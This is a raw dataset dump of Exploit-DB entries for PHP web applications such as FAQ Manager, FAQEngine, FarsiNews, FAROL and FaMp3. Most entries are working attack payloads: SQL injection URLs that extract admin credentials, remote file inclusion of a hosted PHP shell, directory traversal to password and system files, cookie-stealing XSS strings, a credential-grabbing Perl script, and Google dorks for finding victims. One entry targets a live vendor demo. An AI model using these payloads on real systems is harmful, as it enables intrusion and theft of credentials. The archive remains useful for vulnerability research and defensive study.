deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6629
Description: FAQ Management Script - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-30
Author: Hussin X

Exploit:
|___________________________________________________|
|
| FAQ Management (catid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|--------------------    Hussin X  -------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|
|___________________________________________________
|                                                   |
|
| script : http://www.quidascript.com/index.php?main_page=product_info&cPath=1_15&products_id=80
|
| DorK   : inurl:cfaq/index.php?catid=
|
| DorK   : inurl:index.php?catid=
|___________________________________________________|






Exploit: 

www.[target].com/Script/index.php?catid=-1+union+select+concat(username,0x3a,password),2+FROM+cfaq_admin--


AdmiN LoGiN :

www.[target].com/Script//admin.php





____________________________( Greetz )_________________________________
|
|    All members of the Forum WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|    Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | Sakab
|______________________________________________________________________


                                       Im IRAQi    |    Im TrYaG I

# milw0rm.com [2008-09-30]
Exploit-DB #7224
Description: FAQ Manager 1.2 - 'categorie.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-11-25
Author: cOndemned

Exploit:
+---------------------------------------------------------------------------------------+
|                                                                                       |
|       FAQ Manager 1.2 (categorie.php cat_id) Remote SQL Injection Vulnerability       |
|       Bug found by cOndemned                                                          |
|                                                                                       |
|       Script site  : http://www.4yoursite.nl/script_faq_manager.php                   |
|                                                                                       |
|       Greetz: ZaBeaTy, str0ke, doctor, Necro, 0in, TBH, Av...                         |
|                                                                                       |
+---------------------------------------------------------------------------------------+


# source of categorie.php

	[ ... ] 
	
	21.	$catid = $_GET['cat_id'];
	
	[ ... ]
	
	72.	$faq_query = mysql_query("SELECT * FROM `".$prefix."_faq` WHERE `faq_cat_id` = $catid");

	73.	while($faq = mysql_fetch_assoc($faq_query))

	74.	{

	75.		$faq_cat_id = ($faq['faq_cat_id']);

	76.	}

	77.

	78.	$result = mysql_query("SELECT * FROM `".$prefix."_faq` WHERE `faq_cat_id` = $catid");
	
	[ ... ] 


# proof of concept

	http://[host]/[faq_manager_path]/catagorie.php?cat_id=3+union+select+1,2,concat_ws(0x3a,admin_name,admin_pass),4,5+from+faq_admin/*


# live demo 
	
	http://www.4yoursite.nl/demo/faq_manager/catagorie.php?cat_id=3+union+select+1,2,concat_ws(0x3a,admin_name,admin_pass),4,5+from+faq_admin/*

# milw0rm.com [2008-11-25]
Exploit-DB #7229
Description: FAQ Manager 1.2 - 'header.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-11-25
Author: ZoRLu

Exploit:
[~] FAQ Manager 1.2 Remote File injulide : ) )
[~]
[~] download: http://www.4yoursite.nl/downloads/faq_man_1.2.zip
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] N0T: RedHaK Kardesime ozel tesekurler.
[~] -----------------------------------------------------------

file:

include/header.php

exp:

http://localhost/script/include/header.php?config_path=ZoRLu.txt?


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & RedHaK
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-25]
Exploit-DB #41859
Description: FAQ Script 3.1.3 - 'category_id' SQL Injection
Type: webapps
Platform: php
Date: 2017-04-11
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: FAQ Script 3.1.3 - SQL Injection
# Google Dork: N/A
# Date: 11.04.2017
# Vendor Homepage: http://www.phponly.com/
# Software: http://www.phponly.com/faq.html
# Demo: http://www.phponly.com/demo/faq/
# Version: 3.1.3
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/home/categorySearch?category_id=[SQL]
# # # # #
Exploit-DB #26660
Description: FAQ System 1.1 - 'index.php?category_id' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-29
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15640/info
 
FAQ System is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
Versions 1.1 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/index.php?SEARCH_KEYS=&CATEGORY_ID=[SQL]
Exploit-DB #26659
Description: FAQ System 1.1 - 'viewFAQ.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-11-29
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15640/info

FAQ System is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Versions 1.1 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/viewFAQ.php?action=edit&FAQ_ID=[SQL]
http://www.example.com/viewFAQ.php?action=[SQL]
Exploit-DB #11111
Description: FAQEngine 4.24.00 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-01-11
Author: kaMtiEz

Exploit:
###################################################################################
                                                                                  #
[~] FAQEngine 4.24.00 - Remote File Inclusion vulnerability   [ RFI ]             #
[~] Author	: kaMtiEz (kamzcrew@gmail.com)                                    #
[~] Homepage	: http://www.indonesiancoder.com                                  #
[~] Date	: January 6, 2010                                                 #
                                                                                  #
###################################################################################

[ Software Information ]

[+] Vendor : http://www.boesch-it.de/
[+] Download : http://www.boesch-it.de/sw/faqengine.php?lang=en
[+] version : 4.24.00 or lower maybe also affected
[+] Vulnerability : SQL injection
[+] Dork : "Think iT"
[+] Price : -            
[+] Location : INDONESIA - JOGJA

##################################################################################


[ HERE WE GO .. LIVE FROM JOGJA CITY ]

[ Vulnerable File ]

http://127.0.0.1/[kaMtiEz]/attachs.php?path_faqe=[INDONESIANCODER]
http://127.0.0.1/[kaMtiEz]/backup.php?path_faqe=[INDONESIANCODER]
http://127.0.0.1/[kaMtiEz]/badwords.php?path_faqe=[INDONESIANCODER]
http://127.0.0.1/[kaMtiEz]/categories.php?path_faqe=[INDONESIANCODER]
http://127.0.0.1/[kaMtiEz]/changepw.php?path_faqe=[INDONESIANCODER]
http://127.0.0.1/[kaMtiEz]/colorchooser.php?path_faqe=[INDONESIANCODER]
http://127.0.0.1/[kaMtiEz]/colorwheel.php?path_faqe=[INDONESIANCODER]
http://127.0.0.1/[kaMtiEz]/dbfiles.php?path_faqe=[INDONESIANCODER]
http://127.0.0.1/[kaMtiEz]/diraccess.php?path_faqe=[INDONESIANCODER]
http://127.0.0.1/[kaMtiEz]/faq.php?path_faqe=[INDONESIANCODER]
http://127.0.0.1/[kaMtiEz]/index.php?path_faqe=[INDONESIANCODER]
http://127.0.0.1/[kaMtiEz]/kb.php?path_faqe=[INDONESIANCODER]
http://127.0.0.1/[kaMtiEz]/stats.php?path_faqe=[INDONESIANCODER]

etc etc etc .. too much ..

[ ERROR IN ]

require_once($path_faqe."/includes/global.inc.php");

[ FIX ] 

dunno .. :P~~

===========================================================================

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink
[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry ..
[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,cimpli
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk

[ NOTE ] 

[+] Nyak ama babe gua .. tak lupa adik gua ..
[+] sendiri dingin sepi ... tanpa sengaja menemukan celah ke 2x nya ..
[+] Dengerin Radio yach di http://antisecradio.fm manteb2 loh .. :D

[ QUOTE ]

[+] KEEP MOVIN .. !
[+] INDONESIANCODER still r0x

[ EOF ]

[+] INDONESIANOCODER TEAM
[+] KILL -9 TEAM
Exploit-DB #15200
Description: FAQMasterFlex 1.2 - SQL Injection
Type: webapps
Platform: php
Date: 2010-10-04
Author: cyb3r.anbu

Exploit:
Hi guys, I just found a sqli bug on FAQMasterFlex. Since the software used
as one of Fantastico auto-install software package in F.A.Q software
section.
# Author: [cyb3r.anbu]
# Software Link: [http://www.lethalpenguin.net/design/faqmasterflex.php]
# Version: [1.2]
# Tested on: [Ubuntu]

thx:modpr0be,oebaj,bpdp,wamika crew-

Bugs found on faq.php :
--snip--
<p><a href="<?php echo
"$_SERVER[PHP_SELF]?print=true&cat_name=$cat_name&category_id=$category_id"
?>">Print FAQs</a></p>
    <table width="100%" border="0" cellpadding="8" cellspacing="0">
        <?php
                include "faq_config.php";
                $result = mysql_query("SELECT * FROM faqs WHERE category_id
= '$category_id'") or die(mysql_error());
                while ($row = mysql_fetch_array($result)) {
--snip

PoC:
http://victim/FAQMasterFlex/faq.php?print=true&cat_name=cinema&category_id=[validid][SQL
Injection]

thanks for your attention,

regrads,
cyb3r.anbu
Exploit-DB #26678
Description: FAQRing 3.0 - 'answer.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-30
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15655/info

FAQRing is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Versions 3.0 and prior are reported to be vulnerable; other versions may also be affected.

http://www.example.com/answer.php?id=[SQL]
Exploit-DB #32287
Description: FAR-PHP 1.0 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-08-21
Author: Beenu Arora

Exploit:
source: https://www.securityfocus.com/bid/30781/info

FAR-PHP is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to view local files within the context of the webserver process. Information harvested may aid in further attacks.

http://www.example.com/farver/index.php?c=/../../../../../../../../boot.ini%00
Exploit-DB #38213
Description: FAROL - SQL Injection
Type: webapps
Platform: php
Date: 2015-09-16
Author: Thierry Fernandes Faria

Exploit:
# Exploit Title: Web Application Farol with anauthenticated SQLi injection
# Date: 2015-09-16
# Exploit Author: Thierry Fernandes Faria [ a.k.a SoiL ] [ thierryfariaa (at) gmail (dot) com ]
# Vendor Homepage:http://www.teiko.com.br/pt/solucoes/infraestrutura-em-ti/farol
# Version: [All]
# CVE : CVE-2015-6962
# OWASP Top10: A1-Injection

+---------------------+
+ Product Description +
+---------------------+
The FAROL web application is a software that monitors the databases
 
+----------------------+
+ Exploitation Details +
+----------------------+
A vulnerability has been detected in the login page from  web application FAROL . Sql injection anauthenticated.

The e-mail field at login page is vulnerable.

The e-mail field is vulnerable to Error Based Sql injection.

Vulnerable Page: http://target/tkmonitor/estrutura/login/Login.actions.php?recuperar
Vulnerable POST Parameter: email
Usage:email'[SQLi error based]--

eg:
email=1'%20or%201=ctxsys.drithsx.sn(1,(select%20sys.stragg(distinct%20banner)%20from%20v$version))--

ORA-20000: Oracle Text error:
DRG-11701: thesaurus CORE 11.2.0.4.0 ProductionNLSRTL Version 11.2.0.4.0 - ProductionOracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit ProductionPL/SQL Release 11.2.0.4.0 - ProductionTNS for Linux: Version 11.2.0.4.0 - Production does not exist
ORA-06512: at "CTXSYS.DRUE", line 160

+----------+
+ Solution +
+----------+ 
Upgrade the software
Exploit-DB #27154
Description: Farsinews 2.1 - 'Loginout.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-01-31
Author: Hamid Ebadi

Exploit:
source: https://www.securityfocus.com/bid/16440/info

FarsiNews is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

This issue is reported to affect versions 2.1 Beta2 and earlier. 

http://www.example.com/loginout.php?cmd=dir&cutepath=http://www.example.com/phpshell.txt?
Exploit-DB #27650
Description: Farsinews 2.1/2.5 - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-14
Author: amin emami

Exploit:
source: https://www.securityfocus.com/bid/17534/info

FarsiNews is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[farsinews_path]/search.php?selected_search_arch=><script>alert(document.cookie)</script><!--
http://www.example.com/[farsinews_path]/search.php?selected_search_arch=%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E%3C%21--
Exploit-DB #27183
Description: Farsinews 2.1/2.5 - 'show_archives.php?template' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2006-02-10
Author: Hamid Ebadi

Exploit:
source: https://www.securityfocus.com/bid/16580/info

FarsiNews is prone to directory-traversal and local file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit the directory-traversal vulnerability to retrieve arbitrary files from the vulnerable system in the context of the webserver process.

The local file-include vulnerability lets the attacker include arbitrary local files. The impact of this issue depends on the content of the files included. If an attacker can place a malicious script on the vulnerable computer (either through legitimate means or through other latent vulnerabilities), then the attacker may be able to execute arbitrary code in the context of the webserver process. The attacker may also be able to use existing scripts to perform some malicious activity.

http://www.example.com/show_archives.php?template=/../../[local-file]%00
Exploit-DB #1538
Description: Farsinews 2.5 - Directory Traversal Arbitrary 'users.db' Access
Type: webapps
Platform: php
Date: 2006-02-28
Author: Hessam-x

Exploit:
#!/usr/bin/perl
#
# FarsiNews 2.5pro Show User&Passowrd
# Exploit by Hessam-x (www.hessamx.net)
#
#
######################################################
#  ___ ___                __                         #
# /   |   \_____    ____ |  | __ ___________________ #
#/    ~    \__  \ _/ ___\|  |/ // __ \_  __ \___   / #
#\    Y    // __ \\  \___|    <\  ___/|  | \//    /  #
# \___|_  /(____  /\___  >__|_ \\___  >__|  /_____ \ #
#       \/      \/     \/     \/    \/            \/ #
#             Iran Hackerz Security Team             #
#               WebSite: www.hackerz.ir              #
#                                                    #
######################################################
# Description                                        #
#                                                    #
# Name    : FarsiNews [www.farsinewsteam.com]        #
# version : 2.5Pro                                   #
######################################################
# in FarsiNews if you change the archive value :
# http://localhost/index.php?archive=hamid
# see :
# Warning: file([PATH]/data/archives/hamid.news.arch.php):
# failed to open stream: No such file or directory in [PATH]\inc\shows.inc.php on line 642
# Warning: file([PATH]/data/archives/hamid.comments.arch.php):
# failed to open stream: No such file or directory in [PATH]\inc\shows.inc.php on line 686
# ...[and many other error]
# it means that shows.inc.php  try to open  '/archives/hamid.news.arch.php'  (and also 'hamid.comments.arch.php')  to read it's data .
# we can change the archive value to '/../users.db.php%00' to see all username and password .
# Exploit :
# http://localhost/index.php?archive=/../users.db.php%00
# http://localhost/Farsi1/index.php?archive=/../[file-to-read]%00
# F0und by hamid
use LWP::Simple;

print "-------------------------------------------\n";
print "=             Farsinews 2.5Pro            =\n";
print "=       By Hessam-x  - www.hackerz.ir     =\n";
print "-------------------------------------------\n\n";


       print "Target(www.example.com)\> ";
       chomp($targ = <STDIN>);

       print "Path: (/fn25/)\>";
       chomp($path=<STDIN>);

$url = "index.php?archive=/../users.db.php%00";
$page = get("http://".$targ.$path.$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $targ\n";

$page =~ m/<img alt="(.*?)" src=/ && print "[+] Username:\n $1\n";
$page =~ m/style="border: none;" align="right" \/>(.*?)<\/font>/ && print "[+] MD5 Password:\n $1\n";

print "[-] Unable to retrieve User ID\n" if(!$1);

# milw0rm.com [2006-02-28]
Exploit-DB #27741
Description: Farsinews 2.5.3 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-04-26
Author: O.U.T.L.A.W.

Exploit:
source: https://www.securityfocus.com/bid/17701/info

FarsiNews is prone to multiple cross-site scripting vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[farsinews_path]/index.php?month=%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C!--&year=%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C!--
http://www.example.com/[farsinews_path]/admin.php?mod=%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C !--
Exploit-DB #28200
Description: Farsinews 3.0 - 'Tiny_mce_gzip.php' Directory Traversal
Type: webapps
Platform: php
Date: 2006-07-10
Author: armin390

Exploit:
source: https://www.securityfocus.com/bid/18925/info

Farsinews is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks.

Farsinews 3.0BETA1 is reported vulnerable; other versions may also be affected.

http://www.example.com/jscripts/tiny_mce/tiny_mce_gzip.php?language=../../../../.htaccess%00&theme=advanced
Exploit-DB #4914
Description: FaScript FaMp3 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2008-01-15
Author: Khashayar Fereidani

Exploit:
#####################################################################################
####               FaScript FaMp3 v1 Remote Sql Injection                        ####
####                              BY IRCRASH                                     ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (Dr.Crash)                                                        #
#                                                                                   #
#Script Download : http://www.fascript.com/persian.rar                              #
#                                                                                   #
#Injection Adress :  http://127.0.0.1/famp3/show.php?id=<SqL Code>                  #
#                                                                                   #
#Help : In This Script Admin Username and Password Save in ./admin/pconfig.php      #
#       You can open this file with load_file Function in mysql and see admin       #
#       Username and password in Page Source                                        #
#                                                                                   #
# ./admin/pconfig.php Str2Hex : 0x2e2f61646d696e2f70636f6e6669672e706870            #
#                                                                                   #
#SQL Code for pconfig.php : 999999'%20union/**/select/**/0,1,2,3,4,5,6,7,8,9,10,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,load_file(0x2e2f61646d696e2f70636f6e6669672e706870)/**/from/**/mysql.user/*
#                                                                                   #
#                        Our site : HTTP://IRCRASH.COM                              #
#                                                                                   #
#####################################################################################

# milw0rm.com [2008-01-15]